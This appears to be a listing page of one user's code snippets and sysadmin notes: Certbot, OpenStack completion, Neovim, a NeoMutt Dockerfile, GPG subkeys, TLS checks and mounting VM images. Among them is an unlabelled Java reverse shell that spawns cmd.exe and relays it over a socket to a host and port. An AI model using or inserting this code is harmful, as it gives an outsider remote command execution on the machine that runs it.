gwarf

#!/usr/bin/env bash
#
# Certbot Nginx Reload
#
# Let's Encrypt Certbot post hook command for Nginx which checks the updated
# configuration files and reloads the server if everything validates.
#
# Author   : Justin Hartman <code@justinhartman.co>
# Version  : 1.0.1
# License  : MIT <https://opensource.org/licenses/MIT>

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String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

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#compdef openstack aodh barbican ceilometer cinder cloudkitty designate glance gnocchi heat ironic keystone magnum manila mistral monasca murano neutr

# https://wiki.openstack.org/wiki/OpenStackClients
# http://docs.openstack.org/user-guide/common/cli-install-openstack-command-line-clients.html

local curcontext="$curcontext" state line expl ret=1

local -a clnts_compl_new clnts_compl_old clnts_swift_like

#

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Environments

The environement are configured from ~/.config/nvim

dotfiles - vim setup

See https://github.com/gwarf/dotfiles

Configure python2 and python3 for Neovim

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# Dockerfile for NeoMutt plus 'essentials'
# Largely inspired by Jess Frazelle (@jessfraz)
#
FROM alpine:3.6

RUN apk --no-cache add \
        ca-certificates

ENV HOME /home/user
RUN adduser -u 1000 -D user \

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Goal: replacing a 13 years old (DSA1024) GPG key with a new longer key (RSA4096)

Using master key to create subkeys, and using subkeys to do real work (signing, encryption,...).

Using GPG subkeys

How

• https://alexcabal.com/creating-the-perfect-gpg-keypair
• https://riseup.net/pt/security/message-security/openpgp/gpg-best-practices

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TLS configuration checking

Using online tools

• SSL Labs by Qualys
• htbridge
• digicert
• Checking/configuring certificate chain

SSL Labs is great, but only support port 443.

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Testing reStructuredText

References

• http://www.sphinx-doc.org/en/master/usage/restructuredtext/index.html

Online editors

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Mount a VM image

raw image disk

losetup /dev/loop0 image.img
# or
losetup -f file.raw
# if /dev/loop0p1 does not exist
kpartx -a /dev/loop0

gwarf

# CentOS 6 with Gnome desktop

```console
sudo yum groupinstall -y "GNOME Desktop"
sudo systemctl set-default graphical.target
```

When running in VirtualBox, if not able to see mouse cursor:

 Launch VirtualBox --> Oracle VM VirtualBox Manager --> Select VM  --> Settings --> Display --> Graphics Controller --> VBoxSVGA